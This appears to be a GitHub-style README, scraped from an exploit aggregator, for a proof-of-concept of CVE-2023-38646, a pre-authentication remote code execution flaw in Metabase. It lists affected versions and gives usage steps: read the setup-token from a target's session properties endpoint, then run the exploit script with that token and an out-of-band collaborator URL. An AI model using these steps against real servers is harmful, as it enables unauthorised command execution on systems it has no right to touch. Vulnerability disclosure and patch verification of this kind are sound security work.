Share
## https://sploitus.com/exploit?id=88C71506-EF37-558A-A785-375C333434DD
<h1 align="center">
  <br>
  <a href=""><img src="/img/logo.png" alt="" width="300px;"></a>
  <br>
  <img src="https://img.shields.io/badge/PRs-welcome-blue">
  <img src="https://img.shields.io/github/last-commit/kh4sh3i/CVE-2023-38646">
  <img src="https://img.shields.io/github/commit-activity/m/kh4sh3i/CVE-2023-38646">
  <a href="https://twitter.com/intent/follow?screen_name=kh4sh3i_"><img src="https://img.shields.io/twitter/follow/kh4sh3i_?style=flat&logo=twitter"></a>
  <a href="https://github.com/kh4sh3i"><img src="https://img.shields.io/github/stars/kh4sh3i?style=flat&logo=github"></a>
</h1>


# Metabase
Metabase is an open source business intelligence tool that lets you create charts and dashboards using data from a variety of databases and data sources. Itโ€™s a popular project, with over 33k stars on GitHub and has had quite a lot of scrutiny from a vulnerability research perspective in the last few years.




# CVE-2023-38646 - Metabase Pre-auth RCE
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.




## PoC Steps
```
* go to : http://target.com/api/session/properties
* copy : setup-token
* get collaborator url
```

```python
python3 CVE-2023-38646.py -u <target> -t <setup-token> -c <collaborator-url>
```


<img src="/img/poc.png" alt="" >


## Vulnerable version
```
Metabase Enterprise 1.46 < 1.46.6.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase Enterprise 1.43 < 1.43.7.2
Metabase open source 0.46 < 0.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase open source 0.43 < 0.43.7.2
```




## refrences
* [assetnote](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)